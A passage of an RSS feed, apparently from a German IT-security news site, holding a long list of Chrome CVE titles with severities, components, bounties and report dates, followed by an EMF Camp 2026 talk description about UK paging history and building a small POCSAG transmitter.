href="https://issuetracker.google.com/511815165"><span>[511815165</span></a><span>] </span><span>Low</span><span> CVE-2026-14076 Policy bypass in Network  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511766407"><span>[511766407</span></a><span>] </span><span>Critical</span><span> CVE-2026-13775 Use after free in GPU  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511748106"><span>[511748106</span></a><span>] </span><span>Medium</span><span> CVE-2026-13922 Side-channel information leakage in Paint  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511739631"><span>[511739631</span></a><span>] </span><span>High</span><span> CVE-2026-13817 Insufficient validation of untrusted input in Glic  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511738175"><span>[511738175</span></a><span>] </span><span>Medium</span><span> CVE-2026-13921 Insufficient validation of untrusted input in DeviceBoundSessionCredentials  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511722207"><span>[511722207</span></a><span>] </span><span>High</span><span> CVE-2026-13815 Use after free in Blink  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511712766"><span>[511712766</span></a><span>] </span><span>High</span><span> CVE-2026-13814 Use after free in Views  on  2026-05-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511290389"><span>[511290389</span></a><span>] </span><span>Low</span><span> CVE-2026-14395 Out of bounds write in V8  on  2026-05-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511263221"><span>[511263221</span></a><span>] </span><span>Low</span><span> CVE-2026-14394 Use after free in V8  on  2026-05-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511255112"><span>[511255112</span></a><span>] </span><span>Medium</span><span> CVE-2026-14393 Use after free in V8  on  2026-05-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/511249430"><span>[511249430</span></a><span>] </span><span>Medium</span><span> CVE-2026-13919 Insufficient data validation in Extensions  on  2026-05-08 </span></p><p dir="ltr"><span>[$3000.0] </span><a href="https://issuetracker.google.com/510829679"><span>[510829679</span></a><span>] </span><span>High</span><span> CVE-2026-13793 Insufficient policy enforcement in SVG  on  2026-05-07 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/507263861"><span>[507263861</span></a><span>] </span><span>Low</span><span> CVE-2026-14026  Misleading Directory Upload via Split View Context Confusion   on  2026-04-28 </span></p><p dir="ltr"><span>[$0.0] </span><a href="https://issuetracker.google.com/507099867"><span>[507099867</span></a><span>] </span><span>Low</span><span> CVE-2026-14072 Incorrect security UI in SplitView Reported by [] on  2026-04-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/507239830"><span>[507239830</span></a><span>] </span><span>Medium</span><span> CVE-2026-13911 Insufficient data validation in Spellcheck  on  2026-04-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/507237563"><span>[507237563</span></a><span>] </span><span>Low</span><span> CVE-2026-14073 Insufficient policy enforcement in WebXR  on  2026-04-27 </span></p><p dir="ltr"><span>[$3000.0] </span><a href="https://issuetracker.google.com/507090179"><span>[507090179</span></a><span>] </span><span>Medium</span><span> CVE-2026-13858 Out of bounds read in FFmpeg  on  2026-04-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/506558270"><span>[506558270</span></a><span>] </span><span>Critical</span><span> CVE-2026-13774 Use after free in Extensions  on  2026-04-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/506149253"><span>[506149253</span></a><span>] </span><span>High</span><span> CVE-2026-13811 Use after free in IME  on  2026-04-24 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/506143724"><span>[506143724</span></a><span>] </span><span>Low</span><span> CVE-2026-14071 Side-channel information leakage in WebAudio  on  2026-04-24 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/505933538"><span>[505933538</span></a><span>] </span><span>Medium</span><span> CVE-2026-13909 Insufficient policy enforcement in DevTools  on  2026-04-23 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/505137978"><span>[505137978</span></a><span>] </span><span>Low</span><span> CVE-2026-14070 Uninitialized Use in WebNN  on  2026-04-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/505136542"><span>[505136542</span></a><span>] </span><span>Low</span><span> CVE-2026-14069 Integer overflow in WebNN  on  2026-04-21 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/504613867"><span>[504613867</span></a><span>] </span><span>Medium</span><span> CVE-2026-13906 Out of bounds read in Codecs  on  2026-04-20 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/504600482"><span>[504600482</span></a><span>] </span><span>Low</span><span> CVE-2026-13810 Inappropriate implementation in Input on focus. This allows XSS to silently harvest saved passwords on page load without clicks, bypassing mandatory user gesture security checks.  on  2026-04-20 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/503912196"><span>[503912196</span></a><span>] </span><span>Medium</span><span> CVE-2026-13903 Insufficient policy enforcement in Bluetooth  on  2026-04-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/503617508"><span>[503617508</span></a><span>] </span><span>Low</span><span> CVE-2026-14065 Insufficient validation of untrusted input in PageInfo  on  2026-04-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/503585173"><span>[503585173</span></a><span>] </span><span>Medium</span><span> CVE-2026-13901 Insufficient validation of untrusted input in Serial  on  2026-04-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/503333798"><span>[503333798</span></a><span>] </span><span>High</span><span> CVE-2026-13806 Insufficient validation of untrusted input in Accessibility  on  2026-04-16 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/503054174"><span>[503054174</span></a><span>] </span><span>High</span><span> CVE-2026-14390 Use after free in ANGLE  on  2026-04-15 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502473563"><span>[502473563</span></a><span>] </span><span>Low</span><span> CVE-2026-14063 Out of bounds memory access in Chromecast  on  2026-04-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502448128"><span>[502448128</span></a><span>] </span><span>Low</span><span> CVE-2026-14062 Inappropriate implementation in Views on ChromeOS  on  2026-04-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502434484"><span>[502434484</span></a><span>] </span><span>Low</span><span> CVE-2026-14061 Inappropriate implementation in Dawn on hardware with 1ns timestamp period  on  2026-04-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502374993"><span>[502374993</span></a><span>] </span><span>Medium</span><span> CVE-2026-13900 Insufficient validation of untrusted input in Chromecast  on  2026-04-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502363986"><span>[502363986</span></a><span>] </span><span>Low</span><span> CVE-2026-14059 Insufficient policy enforcement in Related-Website-Sets on RWS removal  on  2026-04-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502354038"><span>[502354038</span></a><span>] </span><span>Low</span><span> CVE-2026-14058 Policy bypass in Parser  on  2026-04-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502212647"><span>[502212647</span></a><span>] </span><span>Low</span><span> CVE-2026-14057 Insufficient policy enforcement in FedCM  on  2026-04-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/502109002"><span>[502109002</span></a><span>] </span><span>Medium</span><span> CVE-2026-13899 Use after free in HTML  on  2026-04-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501925480"><span>[501925480</span></a><span>] </span><span>Medium</span><span> CVE-2026-13898 Use after free in Cast Receiver  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501888426"><span>[501888426</span></a><span>] </span><span>Low</span><span> CVE-2026-14056 Insufficient validation of untrusted input in Media  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501877896"><span>[501877896</span></a><span>] </span><span>Medium</span><span> CVE-2026-13897 Insufficient policy enforcement in Chromecast  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501873032"><span>[501873032</span></a><span>] </span><span>High</span><span> CVE-2026-13804 Use after free in Chromecast  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501851312"><span>[501851312</span></a><span>] </span><span>Low</span><span> CVE-2026-14054 Insufficient policy enforcement in Network  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501836539"><span>[501836539</span></a><span>] </span><span>Low</span><span> CVE-2026-14053 Insufficient policy enforcement in Extensions  on  2026-04-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501820076"><span>[501820076</span></a><span>] </span><span>Medium</span><span> CVE-2026-13896 Insufficient policy enforcement in Glic  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501810874"><span>[501810874</span></a><span>] </span><span>Low</span><span> CVE-2026-14052 Insufficient policy enforcement in FileSystem  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501770542"><span>[501770542</span></a><span>] </span><span>Medium</span><span> CVE-2026-13895 Inappropriate implementation in Autofill  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501741117"><span>[501741117</span></a><span>] </span><span>Medium</span><span> CVE-2026-13894 Insufficient policy enforcement in Network  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501729582"><span>[501729582</span></a><span>] </span><span>Medium</span><span> CVE-2026-13893 Insufficient validation of untrusted input in WebUI  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501708647"><span>[501708647</span></a><span>] </span><span>Low</span><span> CVE-2026-14050 Insufficient policy enforcement in Passwords  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501659888"><span>[501659888</span></a><span>] </span><span>Low</span><span> CVE-2026-14049 Inappropriate implementation in GPU  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501631475"><span>[501631475</span></a><span>] </span><span>Medium</span><span> CVE-2026-13891 Insufficient validation of untrusted input in Extensions  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/501623322"><span>[501623322</span></a><span>] </span><span>High</span><span> CVE-2026-13802 Use after free in Views  on  2026-04-11 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500601345"><span>[500601345</span></a><span>] </span><span>Medium</span><span> CVE-2026-13890 Out of bounds read in Chromecast  on  2026-04-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500587568"><span>[500587568</span></a><span>] </span><span>High</span><span> CVE-2026-13801 Integer overflow in Chromecast  on  2026-04-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500566906"><span>[500566906</span></a><span>] </span><span>Medium</span><span> CVE-2026-13888 Use after free in Extensions  on  2026-04-07 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500505046"><span>[500505046</span></a><span>] </span><span>Medium</span><span> CVE-2026-14389 Integer overflow in Skia  on  2026-04-07 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500476886"><span>[500476886</span></a><span>] </span><span>Medium</span><span> CVE-2026-14388 Out of bounds read in ANGLE  on  2026-04-07 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500475136"><span>[500475136</span></a><span>] </span><span>Medium</span><span> CVE-2026-13886 Policy bypass in Isolated Web Apps  on  2026-04-07 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500305404"><span>[500305404</span></a><span>] </span><span>Medium</span><span> CVE-2026-14387 Integer overflow in Skia  on  2026-04-07 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500077014"><span>[500077014</span></a><span>] </span><span>Medium</span><span> CVE-2026-13884 Heap buffer overflow in Chromecast  on  2026-04-06 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/500030250"><span>[500030250</span></a><span>] </span><span>Medium</span><span> CVE-2026-13883 Type Confusion in ANGLE  on  2026-04-06 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499252371"><span>[499252371</span></a><span>] </span><span>High</span><span> CVE-2026-13799 Use after free in QUIC  on  2026-04-03 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499189601"><span>[499189601</span></a><span>] </span><span>Low</span><span> CVE-2026-14048 Use after free in Chromecast  on  2026-04-03 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499162550"><span>[499162550</span></a><span>] </span><span>Medium</span><span> CVE-2026-13882 Inappropriate implementation in USB  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499100491"><span>[499100491</span></a><span>] </span><span>Medium</span><span> CVE-2026-13881 Insufficient data validation in WebAppInstalls  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499048914"><span>[499048914</span></a><span>] </span><span>High</span><span> CVE-2026-13798 Heap buffer overflow in Chromecast  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499025645"><span>[499025645</span></a><span>] </span><span>High</span><span> CVE-2026-13797 Insufficient validation of untrusted input in Chromecast  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/499022239"><span>[499022239</span></a><span>] </span><span>Medium</span><span> CVE-2026-13879 Use after free in Bluetooth  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/498864176"><span>[498864176</span></a><span>] </span><span>Low</span><span> CVE-2026-14047 Insufficient policy enforcement in Extensions  on  2026-04-02 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/498820206"><span>[498820206</span></a><span>] </span><span>Medium</span><span> CVE-2026-13877 Insufficient validation of untrusted input in ANGLE  on  2026-04-01 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/498722200"><span>[498722200</span></a><span>] </span><span>Medium</span><span> CVE-2026-13876 Inappropriate implementation in Network  on  2026-04-01 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/498411773"><span>[498411773</span></a><span>] </span><span>Medium</span><span> CVE-2026-13874 Inappropriate implementation in DataTransfer  on  2026-03-31 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/498085466"><span>[498085466</span></a><span>] </span><span>Medium</span><span> CVE-2026-13873 Out of bounds memory access in Layout  on  2026-03-31 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497961376"><span>[497961376</span></a><span>] </span><span>Medium</span><span> CVE-2026-13871 Insufficient data validation in GuestView  on  2026-03-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497723649"><span>[497723649</span></a><span>] </span><span>Low</span><span> CVE-2026-14045 Insufficient validation of untrusted input in Network  on  2026-03-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497670996"><span>[497670996</span></a><span>] </span><span>Low</span><span> CVE-2026-14044 Use after free in ANGLE  on  2026-03-30 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497632232"><span>[497632232</span></a><span>] </span><span>Low</span><span> CVE-2026-14043 Use after free in GetUserMedia  on  2026-03-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497558336"><span>[497558336</span></a><span>] </span><span>Low</span><span> CVE-2026-14042 Inappropriate implementation in Isolated Web Apps  on  2026-03-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497544822"><span>[497544822</span></a><span>] </span><span>Low</span><span> CVE-2026-14041 Insufficient policy enforcement in Serial  on  2026-03-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497488593"><span>[497488593</span></a><span>] </span><span>Low</span><span> CVE-2026-14040 Use after free in BrowserTag  on  2026-03-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497358012"><span>[497358012</span></a><span>] </span><span>Low</span><span> CVE-2026-14039 Insufficient policy enforcement in GetUserMedia  on  2026-03-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497345177"><span>[497345177</span></a><span>] </span><span>Medium</span><span> CVE-2026-13867 Inappropriate implementation in Geolocation  on  2026-03-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497241148"><span>[497241148</span></a><span>] </span><span>Low</span><span> CVE-2026-14038 Insufficient validation of untrusted input in New Tab Page  on  2026-03-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/497090912"><span>[497090912</span></a><span>] </span><span>Medium</span><span> CVE-2026-13865 Insufficient validation of untrusted input in Enterprise  on  2026-03-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/496522611"><span>[496522611</span></a><span>] </span><span>Low</span><span> CVE-2026-14037 Insufficient policy enforcement in GPU  on  2026-03-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/496411061"><span>[496411061</span></a><span>] </span><span>Low</span><span> CVE-2026-14036 Insufficient policy enforcement in Bluetooth  on  2026-03-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/496399913"><span>[496399913</span></a><span>] </span><span>Medium</span><span> CVE-2026-13864 Insufficient policy enforcement in WebHID  on  2026-03-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/496371586"><span>[496371586</span></a><span>] </span><span>Low</span><span> CVE-2026-14035 Insufficient policy enforcement in Bluetooth  on  2026-03-25 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/495459838"><span>[495459838</span></a><span>] </span><span>Low</span><span> CVE-2026-14031 Incorrect security UI in File Input  on  2026-03-23 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/495456765"><span>[495456765</span></a><span>] </span><span>Medium</span><span> CVE-2026-13861 Use after free in Core  on  2026-03-23 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/492410546"><span>[492410546</span></a><span>] </span><span>Medium</span><span> CVE-2026-14383 Inappropriate implementation in V8  on  2026-03-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/491894115"><span>[491894115</span></a><span>] </span><span>High</span><span> CVE-2026-13796 Integer overflow in Chromecast  on  2026-03-11 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/488762971"><span>[488762971</span></a><span>] </span><span>Low</span><span> CVE-2026-14030 Incorrect security UI in SplitView  on  2026-03-01 </span></p><p dir="ltr"><span>[$5000.0] </span><a href="https://issuetracker.google.com/479203484"><span>[479203484</span></a><span>] </span><span>Medium</span><span> CVE-2026-13857 Inappropriate implementation in Geometry Reported by [Luan Herrera (@lbherrera_)] on  2026-01-27 </span></p><p dir="ltr"><span>[$10000.0] </span><a href="https://issuetracker.google.com/457771782"><span>[457771782</span></a><span>] </span><span>High</span><span> CVE-2026-13790 Side-channel information leakage in Scroll Reported by [] on  2025-11-04 </span></p><p dir="ltr"><span>[$1000.0] </span><a href="https://issuetracker.google.com/417052041"><span>[417052041</span></a><span>] </span><span>Medium</span><span> CVE-2026-13860 Incorrect security UI in Autofill  on  2025-05-11 </span></p><p dir="ltr"><span>[$500.0] </span><a href="https://issuetracker.google.com/527385397"><span>[527385397</span></a><span>] </span><span>High</span><span> CVE-2026-15132 Uninitialized Use in V8  on  2026-06-24 </span></p><p dir="ltr"><span>[$500.0] </span><a href="https://issuetracker.google.com/527406824"><span>[527406824</span></a><span>] </span><span>High</span><span> CVE-2026-15133 Use after free in InterestGroups  on  2026-06-24 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/526542464"><span>[526542464</span></a><span>] </span><span>Medium</span><span> CVE-2026-15131 Insufficient data validation in Navigation  on  2026-06-22 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/526541544"><span>[526541544</span></a><span>] </span><span>High</span><span> CVE-2026-15130 Insufficient policy enforcement in Navigation  on  2026-06-22 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/524045160"><span>[524045160</span></a><span>] </span><span>Critical</span><span> CVE-2026-15129 Use after free in Views  on  2026-06-14 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523756329"><span>[523756329</span></a><span>] </span><span>High</span><span> CVE-2026-15128 Inappropriate implementation in Forms  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523752265"><span>[523752265</span></a><span>] </span><span>High</span><span> CVE-2026-15127 Inappropriate implementation in WebGL  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523748081"><span>[523748081</span></a><span>] </span><span>High</span><span> CVE-2026-15126 Use after free in Forms  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523737685"><span>[523737685</span></a><span>] </span><span>High</span><span> CVE-2026-15125 Inappropriate implementation in Forms  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523735038"><span>[523735038</span></a><span>] </span><span>High</span><span> CVE-2026-15124 Insufficient policy enforcement in Passwords  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523729553"><span>[523729553</span></a><span>] </span><span>High</span><span> CVE-2026-15123 Insufficient data validation in DOM  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523712556"><span>[523712556</span></a><span>] </span><span>High</span><span> CVE-2026-15121 Use after free in WebRTC  on  2026-06-13 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523505418"><span>[523505418</span></a><span>] </span><span>High</span><span> CVE-2026-15119 Inappropriate implementation in GetUserMedia  on  2026-06-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/523238265"><span>[523238265</span></a><span>] </span><span>High</span><span> CVE-2026-15118 Use after free in Input  on  2026-06-12 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/522568496"><span>[522568496</span></a><span>] </span><span>High</span><span> CVE-2026-15117 Use after free in Payments  on  2026-06-10 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/522092013"><span>[522092013</span></a><span>] </span><span>High</span><span> CVE-2026-15116 Use after free in Actor  on  2026-06-09 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/520565945"><span>[520565945</span></a><span>] </span><span>High</span><span> CVE-2026-15114 Out of bounds read and write in Codecs  on  2026-06-05 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518006275"><span>[518006275</span></a><span>] </span><span>Critical</span><span> CVE-2026-15112 Use after free in Ozone  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517508651"><span>[517508651</span></a><span>] </span><span>High</span><span> CVE-2026-15111 Use after free in Views  on  2026-05-28 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/516899138"><span>[516899138</span></a><span>] </span><span>High</span><span> CVE-2026-15109 Uninitialized Use in ANGLE  on  2026-05-26 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/515443146"><span>[515443146</span></a><span>] </span><span>High</span><span> CVE-2026-15108 Integer overflow in Extensions API  on  2026-05-21 </span></p><p dir="ltr"><span>[$2000.0] </span><a href="https://issuetracker.google.com/503553615"><span>[503553615</span></a><span>] </span><span>Medium</span><span> CVE-2026-15107 Use after free in IndexedDB  on  2026-04-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/532929679"><span>[532929679</span></a><span>] </span><span>High</span><span> CVE-2026-15777 Use after free in UI  on  2026-07-09 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/532595489"><span>[532595489</span></a><span>] </span><span>High</span><span> CVE-2026-15776 Type Confusion in V8  on  2026-07-08 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/531319201"><span>[531319201</span></a><span>] </span><span>High</span><span> CVE-2026-15775 Insufficient policy enforcement in V8  on  2026-07-05 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/530646115"><span>[530646115</span></a><span>] </span><span>High</span><span> CVE-2026-15774 Use after free in Skia  on  2026-07-03 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/525317502"><span>[525317502</span></a><span>] </span><span>High</span><span> CVE-2026-15772 Use after free in GPU on Android via GLTextureHolder::ReadbackToMemory  on  2026-06-18 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/524792614"><span>[524792614</span></a><span>] </span><span>High</span><span> CVE-2026-15770 Uninitialized Use in V8  on  2026-06-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/519731111"><span>[519731111</span></a><span>] </span><span>High</span><span> CVE-2026-15769 Insufficient validation of untrusted input in Linux Toolkit Theming  on  2026-06-03 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/518007484"><span>[518007484</span></a><span>] </span><span>Critical</span><span> CVE-2026-15765 Use after free in Ozone  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517931625"><span>[517931625</span></a><span>] </span><span>High</span><span> CVE-2026-15768 Insufficient policy enforcement in HTML-in-Canvas  on  2026-05-29 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/517100492"><span>[517100492</span></a><span>] </span><span>Critical</span><span> CVE-2026-15764 Use after free in Ozone  on  2026-05-27 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514748734"><span>[514748734</span></a><span>] </span><span>High</span><span> CVE-2026-15767 Heap buffer overflow in libyuv  on  2026-05-19 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/514010477"><span>[514010477</span></a><span>] </span><span>High</span><span> CVE-2026-15766 Uninitialized Use in Skia  on  2026-05-17 </span></p><p dir="ltr"><span>[$TBD] </span><a href="https://issuetracker.google.com/513795122"><span>[513795122</span></a><span>] </span><span>Medium</span><span> CVE-2026-15778 Insufficient validation of untrusted input in Navigation  on  2026-05-16 </span></p><br></span></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a tiny paging network (emf2026)]]></title>
<description><![CDATA[Beep! A Brief History of UK Paging — and How to Build Your Own Transmitter

Before smartphones, before SMS, before push notifications — there was the pager. For three decades, paging networks formed the invisible backbone of British communications, keeping doctors on call, field engineers reachab...]]></description>
<link>https://tsecurity.de/de/3678323/it-security-video/building-a-tiny-paging-network-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678323/it-security-video/building-a-tiny-paging-network-emf2026/</guid>
<pubDate>Sat, 18 Jul 2026 19:22:53 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Beep! A Brief History of UK Paging — and How to Build Your Own Transmitter

Before smartphones, before SMS, before push notifications — there was the pager. For three decades, paging networks formed the invisible backbone of British communications, keeping doctors on call, field engineers reachable, and a generation of teenagers mysteriously popular.

This talk traces the arc of paging in the UK, from the launch of the first commercial paging service by British Telecom in the 1950s through to the golden era of consumer paging in the 1980s and 90s. We'll look at the major networks — PageOne, Vodafone &amp; BT  — and the protocols that underpinned them: POCSAG, the workhorse standard developed at the Post Office Research Centre, and FLEX, Motorola's higher-speed successor. We'll touch on why paging quietly outlasted the first wave of mobile phones in critical sectors, and why a small but dedicated community still relies on them today.

Then we get hands-on. Using an ESP32 and an SX1262 LoRa module — total cost under £15 — I'll demonstrate a working POCSAG transmitter built entirely with open-source tools like RadioLib. We'll send a real message, to a 30 year old pager and show how it can be useful today.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/47-building-a-tiny-paging-network]]></content:encoded>
</item>
<item>
<title><![CDATA[Building a tiny paging network (emf2026)]]></title>
<description><![CDATA[Beep! A Brief History of UK Paging — and How to Build Your Own Transmitter

Before smartphones, before SMS, before push notifications — there was the pager. For three decades, paging networks formed the invisible backbone of British communications, keeping doctors on call, field engineers reachab...]]></description>
<link>https://tsecurity.de/de/3678292/it-security-video/building-a-tiny-paging-network-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678292/it-security-video/building-a-tiny-paging-network-emf2026/</guid>
